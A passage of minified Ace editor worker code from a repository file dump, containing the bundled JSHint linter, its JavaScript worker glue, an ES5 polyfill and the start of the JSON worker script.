r,this.inClassBody=!1}};n.state=i},{\"./name-stack.js\":\"/node_modules/jshint/src/name-stack.js\"}],\"/node_modules/jshint/src/style.js\":[function(e,t,n){\"use strict\";n.register=function(e){e.on(\"Identifier\",function(n){if(e.getOption(\"proto\"))return;n.name===\"__proto__\"&&e.warn(\"W103\",{line:n.line,\"char\":n.char,data:[n.name,\"6\"]})}),e.on(\"Identifier\",function(n){if(e.getOption(\"iterator\"))return;n.name===\"__iterator__\"&&e.warn(\"W103\",{line:n.line,\"char\":n.char,data:[n.name]})}),e.on(\"Identifier\",function(n){if(!e.getOption(\"camelcase\"))return;n.name.replace(/^_+|_+$/g,\"\").indexOf(\"_\")>-1&&!n.name.match(/^[A-Z0-9_]*$/)&&e.warn(\"W106\",{line:n.line,\"char\":n.from,data:[n.name]})}),e.on(\"String\",function(n){var r=e.getOption(\"quotmark\"),i;if(!r)return;r===\"single\"&&n.quote!==\"'\"&&(i=\"W109\"),r===\"double\"&&n.quote!=='\"'&&(i=\"W108\"),r===!0&&(e.getCache(\"quotmark\")||e.setCache(\"quotmark\",n.quote),e.getCache(\"quotmark\")!==n.quote&&(i=\"W110\")),i&&e.warn(i,{line:n.line,\"char\":n.char})}),e.on(\"Number\",function(n){n.value.charAt(0)===\".\"&&e.warn(\"W008\",{line:n.line,\"char\":n.char,data:[n.value]}),n.value.substr(n.value.length-1)===\".\"&&e.warn(\"W047\",{line:n.line,\"char\":n.char,data:[n.value]}),/^00+/.test(n.value)&&e.warn(\"W046\",{line:n.line,\"char\":n.char,data:[n.value]})}),e.on(\"String\",function(n){var r=/^(?:javascript|jscript|ecmascript|vbscript|livescript)\\s*:/i;if(e.getOption(\"scripturl\"))return;r.test(n.value)&&e.warn(\"W107\",{line:n.line,\"char\":n.char})})}},{}],\"/node_modules/jshint/src/vars.js\":[function(e,t,n){\"use strict\";n.reservedVars={arguments:!1,NaN:!1},n.ecmaIdentifiers={3:{Array:!1,Boolean:!1,Date:!1,decodeURI:!1,decodeURIComponent:!1,encodeURI:!1,encodeURIComponent:!1,Error:!1,eval:!1,EvalError:!1,Function:!1,hasOwnProperty:!1,isFinite:!1,isNaN:!1,Math:!1,Number:!1,Object:!1,parseInt:!1,parseFloat:!1,RangeError:!1,ReferenceError:!1,RegExp:!1,String:!1,SyntaxError:!1,TypeError:!1,URIError:!1},5:{JSON:!1},6:{Map:!1,Promise:!1,Proxy:!1,Reflect:!1,Set:!1,Symbol:!1,WeakMap:!1,WeakSet:!1}},n.browser={Audio:!1,Blob:!1,addEventListener:!1,applicationCache:!1,atob:!1,blur:!1,btoa:!1,cancelAnimationFrame:!1,CanvasGradient:!1,CanvasPattern:!1,CanvasRenderingContext2D:!1,CSS:!1,clearInterval:!1,clearTimeout:!1,close:!1,closed:!1,Comment:!1,CustomEvent:!1,DOMParser:!1,defaultStatus:!1,Document:!1,document:!1,DocumentFragment:!1,Element:!1,ElementTimeControl:!1,Event:!1,event:!1,fetch:!1,FileReader:!1,FormData:!1,focus:!1,frames:!1,getComputedStyle:!1,HTMLElement:!1,HTMLAnchorElement:!1,HTMLBaseElement:!1,HTMLBlockquoteElement:!1,HTMLBodyElement:!1,HTMLBRElement:!1,HTMLButtonElement:!1,HTMLCanvasElement:!1,HTMLCollection:!1,HTMLDirectoryElement:!1,HTMLDivElement:!1,HTMLDListElement:!1,HTMLFieldSetElement:!1,HTMLFontElement:!1,HTMLFormElement:!1,HTMLFrameElement:!1,HTMLFrameSetElement:!1,HTMLHeadElement:!1,HTMLHeadingElement:!1,HTMLHRElement:!1,HTMLHtmlElement:!1,HTMLIFrameElement:!1,HTMLImageElement:!1,HTMLInputElement:!1,HTMLIsIndexElement:!1,HTMLLabelElement:!1,HTMLLayerElement:!1,HTMLLegendElement:!1,HTMLLIElement:!1,HTMLLinkElement:!1,HTMLMapElement:!1,HTMLMenuElement:!1,HTMLMetaElement:!1,HTMLModElement:!1,HTMLObjectElement:!1,HTMLOListElement:!1,HTMLOptGroupElement:!1,HTMLOptionElement:!1,HTMLParagraphElement:!1,HTMLParamElement:!1,HTMLPreElement:!1,HTMLQuoteElement:!1,HTMLScriptElement:!1,HTMLSelectElement:!1,HTMLStyleElement:!1,HTMLTableCaptionElement:!1,HTMLTableCellElement:!1,HTMLTableColElement:!1,HTMLTableElement:!1,HTMLTableRowElement:!1,HTMLTableSectionElement:!1,HTMLTemplateElement:!1,HTMLTextAreaElement:!1,HTMLTitleElement:!1,HTMLUListElement:!1,HTMLVideoElement:!1,history:!1,Image:!1,Intl:!1,length:!1,localStorage:!1,location:!1,matchMedia:!1,MessageChannel:!1,MessageEvent:!1,MessagePort:!1,MouseEvent:!1,moveBy:!1,moveTo:!1,MutationObserver:!1,name:!1,Node:!1,NodeFilter:!1,NodeList:!1,Notification:!1,navigator:!1,onbeforeunload:!0,onblur:!0,onerror:!0,onfocus:!0,onload:!0,onresize:!0,onunload:!0,open:!1,openDatabase:!1,opener:!1,Option:!1,parent:!1,performance:!1,print:!1,Range:!1,requestAnimationFrame:!1,removeEventListener:!1,resizeBy:!1,resizeTo:!1,screen:!1,scroll:!1,scrollBy:!1,scrollTo:!1,sessionStorage:!1,setInterval:!1,setTimeout:!1,SharedWorker:!1,status:!1,SVGAElement:!1,SVGAltGlyphDefElement:!1,SVGAltGlyphElement:!1,SVGAltGlyphItemElement:!1,SVGAngle:!1,SVGAnimateColorElement:!1,SVGAnimateElement:!1,SVGAnimateMotionElement:!1,SVGAnimateTransformElement:!1,SVGAnimatedAngle:!1,SVGAnimatedBoolean:!1,SVGAnimatedEnumeration:!1,SVGAnimatedInteger:!1,SVGAnimatedLength:!1,SVGAnimatedLengthList:!1,SVGAnimatedNumber:!1,SVGAnimatedNumberList:!1,SVGAnimatedPathData:!1,SVGAnimatedPoints:!1,SVGAnimatedPreserveAspectRatio:!1,SVGAnimatedRect:!1,SVGAnimatedString:!1,SVGAnimatedTransformList:!1,SVGAnimationElement:!1,SVGCSSRule:!1,SVGCircleElement:!1,SVGClipPathElement:!1,SVGColor:!1,SVGColorProfileElement:!1,SVGColorProfileRule:!1,SVGComponentTransferFunctionElement:!1,SVGCursorElement:!1,SVGDefsElement:!1,SVGDescElement:!1,SVGDocument:!1,SVGElement:!1,SVGElementInstance:!1,SVGElementInstanceList:!1,SVGEllipseElement:!1,SVGExternalResourcesRequired:!1,SVGFEBlendElement:!1,SVGFEColorMatrixElement:!1,SVGFEComponentTransferElement:!1,SVGFECompositeElement:!1,SVGFEConvolveMatrixElement:!1,SVGFEDiffuseLightingElement:!1,SVGFEDisplacementMapElement:!1,SVGFEDistantLightElement:!1,SVGFEFloodElement:!1,SVGFEFuncAElement:!1,SVGFEFuncBElement:!1,SVGFEFuncGElement:!1,SVGFEFuncRElement:!1,SVGFEGaussianBlurElement:!1,SVGFEImageElement:!1,SVGFEMergeElement:!1,SVGFEMergeNodeElement:!1,SVGFEMorphologyElement:!1,SVGFEOffsetElement:!1,SVGFEPointLightElement:!1,SVGFESpecularLightingElement:!1,SVGFESpotLightElement:!1,SVGFETileElement:!1,SVGFETurbulenceElement:!1,SVGFilterElement:!1,SVGFilterPrimitiveStandardAttributes:!1,SVGFitToViewBox:!1,SVGFontElement:!1,SVGFontFaceElement:!1,SVGFontFaceFormatElement:!1,SVGFontFaceNameElement:!1,SVGFontFaceSrcElement:!1,SVGFontFaceUriElement:!1,SVGForeignObjectElement:!1,SVGGElement:!1,SVGGlyphElement:!1,SVGGlyphRefElement:!1,SVGGradientElement:!1,SVGHKernElement:!1,SVGICCColor:!1,SVGImageElement:!1,SVGLangSpace:!1,SVGLength:!1,SVGLengthList:!1,SVGLineElement:!1,SVGLinearGradientElement:!1,SVGLocatable:!1,SVGMPathElement:!1,SVGMarkerElement:!1,SVGMaskElement:!1,SVGMatrix:!1,SVGMetadataElement:!1,SVGMissingGlyphElement:!1,SVGNumber:!1,SVGNumberList:!1,SVGPaint:!1,SVGPathElement:!1,SVGPathSeg:!1,SVGPathSegArcAbs:!1,SVGPathSegArcRel:!1,SVGPathSegClosePath:!1,SVGPathSegCurvetoCubicAbs:!1,SVGPathSegCurvetoCubicRel:!1,SVGPathSegCurvetoCubicSmoothAbs:!1,SVGPathSegCurvetoCubicSmoothRel:!1,SVGPathSegCurvetoQuadraticAbs:!1,SVGPathSegCurvetoQuadraticRel:!1,SVGPathSegCurvetoQuadraticSmoothAbs:!1,SVGPathSegCurvetoQuadraticSmoothRel:!1,SVGPathSegLinetoAbs:!1,SVGPathSegLinetoHorizontalAbs:!1,SVGPathSegLinetoHorizontalRel:!1,SVGPathSegLinetoRel:!1,SVGPathSegLinetoVerticalAbs:!1,SVGPathSegLinetoVerticalRel:!1,SVGPathSegList:!1,SVGPathSegMovetoAbs:!1,SVGPathSegMovetoRel:!1,SVGPatternElement:!1,SVGPoint:!1,SVGPointList:!1,SVGPolygonElement:!1,SVGPolylineElement:!1,SVGPreserveAspectRatio:!1,SVGRadialGradientElement:!1,SVGRect:!1,SVGRectElement:!1,SVGRenderingIntent:!1,SVGSVGElement:!1,SVGScriptElement:!1,SVGSetElement:!1,SVGStopElement:!1,SVGStringList:!1,SVGStylable:!1,SVGStyleElement:!1,SVGSwitchElement:!1,SVGSymbolElement:!1,SVGTRefElement:!1,SVGTSpanElement:!1,SVGTests:!1,SVGTextContentElement:!1,SVGTextElement:!1,SVGTextPathElement:!1,SVGTextPositioningElement:!1,SVGTitleElement:!1,SVGTransform:!1,SVGTransformList:!1,SVGTransformable:!1,SVGURIReference:!1,SVGUnitTypes:!1,SVGUseElement:!1,SVGVKernElement:!1,SVGViewElement:!1,SVGViewSpec:!1,SVGZoomAndPan:!1,Text:!1,TextDecoder:!1,TextEncoder:!1,TimeEvent:!1,top:!1,URL:!1,WebGLActiveInfo:!1,WebGLBuffer:!1,WebGLContextEvent:!1,WebGLFramebuffer:!1,WebGLProgram:!1,WebGLRenderbuffer:!1,WebGLRenderingContext:!1,WebGLShader:!1,WebGLShaderPrecisionFormat:!1,WebGLTexture:!1,WebGLUniformLocation:!1,WebSocket:!1,window:!1,Window:!1,Worker:!1,XDomainRequest:!1,XMLHttpRequest:!1,XMLSerializer:!1,XPathEvaluator:!1,XPathException:!1,XPathExpression:!1,XPathNamespace:!1,XPathNSResolver:!1,XPathResult:!1},n.devel={alert:!1,confirm:!1,console:!1,Debug:!1,opera:!1,prompt:!1},n.worker={importScripts:!0,postMessage:!0,self:!0,FileReaderSync:!0},n.nonstandard={escape:!1,unescape:!1},n.couch={require:!1,respond:!1,getRow:!1,emit:!1,send:!1,start:!1,sum:!1,log:!1,exports:!1,module:!1,provides:!1},n.node={__filename:!1,__dirname:!1,GLOBAL:!1,global:!1,module:!1,require:!1,Buffer:!0,console:!0,exports:!0,process:!0,setTimeout:!0,clearTimeout:!0,setInterval:!0,clearInterval:!0,setImmediate:!0,clearImmediate:!0},n.browserify={__filename:!1,__dirname:!1,global:!1,module:!1,require:!1,Buffer:!0,exports:!0,process:!0},n.phantom={phantom:!0,require:!0,WebPage:!0,console:!0,exports:!0},n.qunit={asyncTest:!1,deepEqual:!1,equal:!1,expect:!1,module:!1,notDeepEqual:!1,notEqual:!1,notPropEqual:!1,notStrictEqual:!1,ok:!1,propEqual:!1,QUnit:!1,raises:!1,start:!1,stop:!1,strictEqual:!1,test:!1,\"throws\":!1},n.rhino={defineClass:!1,deserialize:!1,gc:!1,help:!1,importClass:!1,importPackage:!1,java:!1,load:!1,loadClass:!1,Packages:!1,print:!1,quit:!1,readFile:!1,readUrl:!1,runCommand:!1,seal:!1,serialize:!1,spawn:!1,sync:!1,toint32:!1,version:!1},n.shelljs={target:!1,echo:!1,exit:!1,cd:!1,pwd:!1,ls:!1,find:!1,cp:!1,rm:!1,mv:!1,mkdir:!1,test:!1,cat:!1,sed:!1,grep:!1,which:!1,dirs:!1,pushd:!1,popd:!1,env:!1,exec:!1,chmod:!1,config:!1,error:!1,tempdir:!1},n.typed={ArrayBuffer:!1,ArrayBufferView:!1,DataView:!1,Float32Array:!1,Float64Array:!1,Int16Array:!1,Int32Array:!1,Int8Array:!1,Uint16Array:!1,Uint32Array:!1,Uint8Array:!1,Uint8ClampedArray:!1},n.wsh={ActiveXObject:!0,Enumerator:!0,GetObject:!0,ScriptEngine:!0,ScriptEngineBuildVersion:!0,ScriptEngineMajorVersion:!0,ScriptEngineMinorVersion:!0,VBArray:!0,WSH:!0,WScript:!0,XDomainRequest:!0},n.dojo={dojo:!1,dijit:!1,dojox:!1,define:!1,require:!1},n.jquery={$:!1,jQuery:!1},n.mootools={$:!1,$$:!1,Asset:!1,Browser:!1,Chain:!1,Class:!1,Color:!1,Cookie:!1,Core:!1,Document:!1,DomReady:!1,DOMEvent:!1,DOMReady:!1,Drag:!1,Element:!1,Elements:!1,Event:!1,Events:!1,Fx:!1,Group:!1,Hash:!1,HtmlTable:!1,IFrame:!1,IframeShim:!1,InputValidator:!1,instanceOf:!1,Keyboard:!1,Locale:!1,Mask:!1,MooTools:!1,Native:!1,Options:!1,OverText:!1,Request:!1,Scroller:!1,Slick:!1,Slider:!1,Sortables:!1,Spinner:!1,Swiff:!1,Tips:!1,Type:!1,typeOf:!1,URI:!1,Window:!1},n.prototypejs={$:!1,$$:!1,$A:!1,$F:!1,$H:!1,$R:!1,$break:!1,$continue:!1,$w:!1,Abstract:!1,Ajax:!1,Class:!1,Enumerable:!1,Element:!1,Event:!1,Field:!1,Form:!1,Hash:!1,Insertion:!1,ObjectRange:!1,PeriodicalExecuter:!1,Position:!1,Prototype:!1,Selector:!1,Template:!1,Toggle:!1,Try:!1,Autocompleter:!1,Builder:!1,Control:!1,Draggable:!1,Draggables:!1,Droppables:!1,Effect:!1,Sortable:!1,SortableObserver:!1,Sound:!1,Scriptaculous:!1},n.yui={YUI:!1,Y:!1,YUI_config:!1},n.mocha={mocha:!1,describe:!1,xdescribe:!1,it:!1,xit:!1,context:!1,xcontext:!1,before:!1,after:!1,beforeEach:!1,afterEach:!1,suite:!1,test:!1,setup:!1,teardown:!1,suiteSetup:!1,suiteTeardown:!1},n.jasmine={jasmine:!1,describe:!1,xdescribe:!1,it:!1,xit:!1,beforeEach:!1,afterEach:!1,setFixtures:!1,loadFixtures:!1,spyOn:!1,expect:!1,runs:!1,waitsFor:!1,waits:!1,beforeAll:!1,afterAll:!1,fail:!1,fdescribe:!1,fit:!1,pending:!1}},{}]},{},[\"/node_modules/jshint/src/jshint.js\"])}),define(\"ace/mode/javascript_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/javascript/jshint\"],function(require,exports,module){\"use strict\";function startRegex(e){return RegExp(\"^(\"+e.join(\"|\")+\")\")}var oop=require(\"../lib/oop\"),Mirror=require(\"../worker/mirror\").Mirror,lint=require(\"./javascript/jshint\").JSHINT,disabledWarningsRe=startRegex([\"Bad for in variable '(.+)'.\",'Missing \"use strict\"']),errorsRe=startRegex([\"Unexpected\",\"Expected \",\"Confusing (plus|minus)\",\"\\\\{a\\\\} unterminated regular expression\",\"Unclosed \",\"Unmatched \",\"Unbegun comment\",\"Bad invocation\",\"Missing space after\",\"Missing operator at\"]),infoRe=startRegex([\"Expected an assignment\",\"Bad escapement of EOL\",\"Unexpected comma\",\"Unexpected space\",\"Missing radix parameter.\",\"A leading decimal point can\",\"\\\\['{a}'\\\\] is better written in dot notation.\",\"'{a}' used out of scope\"]),JavaScriptWorker=exports.JavaScriptWorker=function(e){Mirror.call(this,e),this.setTimeout(500),this.setOptions()};oop.inherits(JavaScriptWorker,Mirror),function(){this.setOptions=function(e){this.options=e||{esnext:!0,moz:!0,devel:!0,browser:!0,node:!0,laxcomma:!0,laxbreak:!0,lastsemic:!0,onevar:!1,passfail:!1,maxerr:100,expr:!0,multistr:!0,globalstrict:!0},this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.changeOptions=function(e){oop.mixin(this.options,e),this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.isValidJS=function(str){try{eval(\"throw 0;\"+str)}catch(e){if(e===0)return!0}return!1},this.onUpdate=function(){var e=this.doc.getValue();e=e.replace(/^#!.*\\n/,\"\\n\");if(!e)return this.sender.emit(\"annotate\",[]);var t=[],n=this.isValidJS(e)?\"warning\":\"error\";lint(e,this.options);var r=lint.errors,i=!1;for(var s=0;s<r.length;s++){var o=r[s];if(!o)continue;var u=o.raw,a=\"warning\";if(u==\"Missing semicolon.\"){var f=o.evidence.substr(o.character);f=f.charAt(f.search(/\\S/)),n==\"error\"&&f&&/[\\w\\d{(['\"]/.test(f)?(o.reason='Missing \";\" before statement',a=\"error\"):a=\"info\"}else{if(disabledWarningsRe.test(u))continue;infoRe.test(u)?a=\"info\":errorsRe.test(u)?(i=!0,a=n):u==\"'{a}' is not defined.\"?a=\"warning\":u==\"'{a}' is defined but never used.\"&&(a=\"info\")}t.push({row:o.line-1,column:o.character-1,text:o.reason,type:a,raw:u}),i}this.sender.emit(\"annotate\",t)}}.call(JavaScriptWorker.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-json.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown 